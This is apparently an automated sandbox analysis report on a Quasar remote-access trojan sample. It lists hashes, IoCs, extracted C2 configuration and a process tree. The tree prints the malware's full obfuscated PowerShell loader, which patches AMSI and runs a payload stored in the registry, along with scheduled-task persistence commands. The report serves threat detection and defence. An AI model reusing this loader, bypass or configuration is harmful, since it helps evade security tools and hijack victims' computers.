quasar | e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07

Analysis

max time kernel
33s
max time network
32s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
23/04/2024, 20:29

Sharing

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-23T20:30:28Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win11-20240412-en/instance_8-dirty.qcow2\"}"

Report Analysis Logs

General

Target

real.exe
Size

409KB
MD5

16be7896ffd96f3c15ca40ff3243674f
SHA1

321e82e120535d5f48430284804d5aca5f78d8c7
SHA256

e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07
SHA512

6dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad
SSDEEP

12288:8Bwz9Fx/nIlyLcnRKIZduz8IWQygCLZG9:8+J0sLYpuz8bQygB

Score

10^/10

quasar rslaves spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

RSlaves

147.185.221.19:33587

Mutex

$Sxr-hphEGEvqSUG7C0u46T

Attributes

encryption_key
6jSzwDnfbfYdZp3ml07G
install_name
WDefenderUpdater.exe
log_directory
UpdLog
reconnect_delay
3000
startup_key
WindowsBIOSupd
subdirectory
Microsoft

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral3/memory/1600-0-0x0000000000950000-0x00000000009BC000-memory.dmp	family_quasar
behavioral3/files/0x000200000002aa00-11.dat	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4460 created 644	4460	powershell.EXE	5

Executes dropped EXE 2 IoCs

pid	Process
4760	WDefenderUpdater.exe
872	Install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4460 set thread context of 1480	4460	powershell.EXE	91

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1516	schtasks.exe
3396	SCHTASKS.exe
1940	schtasks.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4460	powershell.EXE
4460	powershell.EXE
4460	powershell.EXE
1480	dllhost.exe
1480	dllhost.exe
1480	dllhost.exe
1480	dllhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	real.exe
Token: SeDebugPrivilege	4760	WDefenderUpdater.exe
Token: SeDebugPrivilege	4460	powershell.EXE
Token: SeDebugPrivilege	4460	powershell.EXE
Token: SeDebugPrivilege	1480	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4760	WDefenderUpdater.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 1516	1600	real.exe	81
PID 1600 wrote to memory of 1516	1600	real.exe	81
PID 1600 wrote to memory of 1516	1600	real.exe	81
PID 1600 wrote to memory of 4760	1600	real.exe	83
PID 1600 wrote to memory of 4760	1600	real.exe	83
PID 1600 wrote to memory of 4760	1600	real.exe	83
PID 1600 wrote to memory of 872	1600	real.exe	84
PID 1600 wrote to memory of 872	1600	real.exe	84
PID 1600 wrote to memory of 872	1600	real.exe	84
PID 1600 wrote to memory of 3396	1600	real.exe	85
PID 1600 wrote to memory of 3396	1600	real.exe	85
PID 1600 wrote to memory of 3396	1600	real.exe	85
PID 4760 wrote to memory of 1940	4760	WDefenderUpdater.exe	89
PID 4760 wrote to memory of 1940	4760	WDefenderUpdater.exe	89
PID 4760 wrote to memory of 1940	4760	WDefenderUpdater.exe	89
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 4460 wrote to memory of 1480	4460	powershell.EXE	91
PID 1480 wrote to memory of 644	1480	dllhost.exe	5
PID 1480 wrote to memory of 704	1480	dllhost.exe	7
PID 704 wrote to memory of 2764	704	lsass.exe	47
PID 704 wrote to memory of 2764	704	lsass.exe	47
PID 1480 wrote to memory of 988	1480	dllhost.exe	12
PID 704 wrote to memory of 2764	704	lsass.exe	47
PID 1480 wrote to memory of 540	1480	dllhost.exe	13
PID 704 wrote to memory of 2764	704	lsass.exe	47
PID 1480 wrote to memory of 436	1480	dllhost.exe	14
PID 704 wrote to memory of 2764	704	lsass.exe	47
PID 1480 wrote to memory of 716	1480	dllhost.exe	15
PID 704 wrote to memory of 2764	704	lsass.exe	47
PID 1480 wrote to memory of 1056	1480	dllhost.exe	16
PID 1480 wrote to memory of 1152	1480	dllhost.exe	18
PID 1480 wrote to memory of 1204	1480	dllhost.exe	19
PID 1480 wrote to memory of 1268	1480	dllhost.exe	20
PID 1480 wrote to memory of 1280	1480	dllhost.exe	21
PID 1480 wrote to memory of 1320	1480	dllhost.exe	22
PID 1480 wrote to memory of 1368	1480	dllhost.exe	23
PID 1480 wrote to memory of 1412	1480	dllhost.exe	24
PID 1480 wrote to memory of 1576	1480	dllhost.exe	25
PID 1480 wrote to memory of 1644	1480	dllhost.exe	26
PID 1480 wrote to memory of 1728	1480	dllhost.exe	27
PID 1480 wrote to memory of 1756	1480	dllhost.exe	28
PID 1480 wrote to memory of 1764	1480	dllhost.exe	29
PID 1480 wrote to memory of 1860	1480	dllhost.exe	30
PID 1480 wrote to memory of 1916	1480	dllhost.exe	31
PID 1480 wrote to memory of 2032	1480	dllhost.exe	32

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:540
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2388f25c-c07e-47ca-80f2-1f3811eef9c4}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1480

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:axGKCNMPaBhZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NPFtpmMJMsMdLb,[Parameter(Position=1)][Type]$GcJEgpYNTV)$HPAsgckjlRb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+'l'+'e'+''+'c'+'t'+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+'p'+'e',''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+''+'P'+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](65)+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$HPAsgckjlRb.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+','+'P'+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NPFtpmMJMsMdLb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+'M'+[Char](97)+'nag'+[Char](101)+''+[Char](100)+'');$HPAsgckjlRb.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+'k'+'e','P'+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+','+[Char](72)+'id'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$GcJEgpYNTV,$NPFtpmMJMsMdLb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $HPAsgckjlRb.CreateType();}$chLtRFluCdTUV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Syst'+'e'+''+[Char](109)+'.'+[Char](100)+''+'l'+'l')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+'ft'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+'2'+'.'+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+'M'+[Char](101)+'t'+[Char](104)+''+'o'+'d'+[Char](115)+'');$vKUOXRTRoPkPYI=$chLtRFluCdTUV.GetMethod('G'+'e'+'t'+'P'+''+[Char](114)+''+'o'+''+'c'+''+'A'+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+'a'+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xwobHdPsGmdDOzQqwYq=axGKCNMPaBhZ @([String])([IntPtr]);$VPMrLxKDCoFxxLjlxoMVbe=axGKCNMPaBhZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NKYfqowVTJx=$chLtRFluCdTUV.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'M'+''+'o'+''+'d'+'u'+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$sBPaGrONJAkZDl=$vKUOXRTRoPkPYI.Invoke($Null,@([Object]$NKYfqowVTJx,[Object](''+[Char](76)+'o'+'a'+'d'+'L'+''+[Char](105)+'b'+[Char](114)+'ar'+[Char](121)+'A')));$XoJTZjqXPUIuJqwFh=$vKUOXRTRoPkPYI.Invoke($Null,@([Object]$NKYfqowVTJx,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$MpGDJmK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sBPaGrONJAkZDl,$xwobHdPsGmdDOzQqwYq).Invoke('a'+[Char](109)+'si'+[Char](46)+''+[Char](100)+''+'l'+'l');$mLbIYqrrBduUdkizJ=$vKUOXRTRoPkPYI.Invoke($Null,@([Object]$MpGDJmK,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+'c'+''+'a'+''+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+'r')));$uMigAuRxgH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XoJTZjqXPUIuJqwFh,$VPMrLxKDCoFxxLjlxoMVbe).Invoke($mLbIYqrrBduUdkizJ,[uint32]8,4,[ref]$uMigAuRxgH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mLbIYqrrBduUdkizJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XoJTZjqXPUIuJqwFh,$VPMrLxKDCoFxxLjlxoMVbe).Invoke($mLbIYqrrBduUdkizJ,[uint32]8,0x20,[ref]$uMigAuRxgH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4128
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3844
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3756
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1236
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3512
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2032

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2764

C:\Users\Admin\AppData\Local\Temp\real.exe
"C:\Users\Admin\AppData\Local\Temp\real.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\SysWOW64\schtasks.exe
  "schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\real.exe" /rl HIGHEST /f
  2⤵
  - Creates scheduled task(s)
  PID:1516
- C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "WindowsBIOSupd" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1940
- C:\Users\Admin\AppData\Local\Temp\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
  2⤵
  - Executes dropped EXE
  PID:872
- C:\Windows\SysWOW64\SCHTASKS.exe
  "SCHTASKS.exe" /create /tn "$77real.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\real.exe'" /sc onlogon /rl HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:3396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\WDefenderUpdater.exe

Filesize
409KB

MD5
16be7896ffd96f3c15ca40ff3243674f

SHA1
321e82e120535d5f48430284804d5aca5f78d8c7

SHA256
e297f022413aee60290878fd253b68ecb9af7e7919ddae6093a977c10b47ca07

SHA512
6dda93f0e4e47caf40bf15372fd8edee36b8a66d4d6ee3a6e1400c9297cbaa32584c6f8c97e2e76c4e3cd8b195d8e9cbb898870559e7a7177db97eb8c0a521ad

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_clohtt1v.bhq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/540-93-0x0000014D3EDC0000-0x0000014D3EDEB000-memory.dmp

Filesize
172KB

Download
memory/540-109-0x0000014D3EDC0000-0x0000014D3EDEB000-memory.dmp

Filesize
172KB

Download
memory/644-110-0x00007FFBAD370000-0x00007FFBAD380000-memory.dmp

Filesize
64KB

Download
memory/644-57-0x00000219E6080000-0x00000219E60AB000-memory.dmp

Filesize
172KB

Download
memory/644-65-0x00000219E6080000-0x00000219E60AB000-memory.dmp

Filesize
172KB

Download
memory/644-56-0x00000219E6080000-0x00000219E60AB000-memory.dmp

Filesize
172KB

Download
memory/644-68-0x00007FFBED383000-0x00007FFBED384000-memory.dmp

Filesize
4KB

Download
memory/644-55-0x00000219E6050000-0x00000219E6075000-memory.dmp

Filesize
148KB

Download
memory/644-71-0x00007FFBED386000-0x00007FFBED387000-memory.dmp

Filesize
4KB

Download
memory/644-111-0x00000219E6080000-0x00000219E60AB000-memory.dmp

Filesize
172KB

Download
memory/644-70-0x00007FFBED384000-0x00007FFBED385000-memory.dmp

Filesize
4KB

Download
memory/704-83-0x00007FFBAD370000-0x00007FFBAD380000-memory.dmp

Filesize
64KB

Download
memory/704-73-0x0000023BB2150000-0x0000023BB217B000-memory.dmp

Filesize
172KB

Download
memory/704-82-0x0000023BB2150000-0x0000023BB217B000-memory.dmp

Filesize
172KB

Download
memory/704-88-0x00007FFBED384000-0x00007FFBED385000-memory.dmp

Filesize
4KB

Download
memory/988-87-0x0000028439AB0000-0x0000028439ADB000-memory.dmp

Filesize
172KB

Download
memory/988-106-0x00007FFBAD370000-0x00007FFBAD380000-memory.dmp

Filesize
64KB

Download
memory/988-104-0x0000028439AB0000-0x0000028439ADB000-memory.dmp

Filesize
172KB

Download
memory/1480-49-0x00007FFBED2E0000-0x00007FFBED4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1480-51-0x00007FFBED2E0000-0x00007FFBED4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1480-41-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1480-44-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1480-42-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1480-40-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1480-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1480-141-0x00007FFBED2E0000-0x00007FFBED4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1480-50-0x00007FFBEB670000-0x00007FFBEB72D000-memory.dmp

Filesize
756KB

Download
memory/1480-52-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1600-20-0x00000000751D0000-0x0000000075981000-memory.dmp

Filesize
7.7MB

Download
memory/1600-1-0x00000000751D0000-0x0000000075981000-memory.dmp

Filesize
7.7MB

Download
memory/1600-0-0x0000000000950000-0x00000000009BC000-memory.dmp

Filesize
432KB

Download
memory/1600-2-0x0000000005AF0000-0x0000000006096000-memory.dmp

Filesize
5.6MB

Download
memory/1600-3-0x0000000005540000-0x00000000055D2000-memory.dmp

Filesize
584KB

Download
memory/1600-4-0x00000000054A0000-0x00000000054B0000-memory.dmp

Filesize
64KB

Download
memory/1600-5-0x00000000054B0000-0x0000000005516000-memory.dmp

Filesize
408KB

Download
memory/1600-6-0x00000000061A0000-0x00000000061B2000-memory.dmp

Filesize
72KB

Download
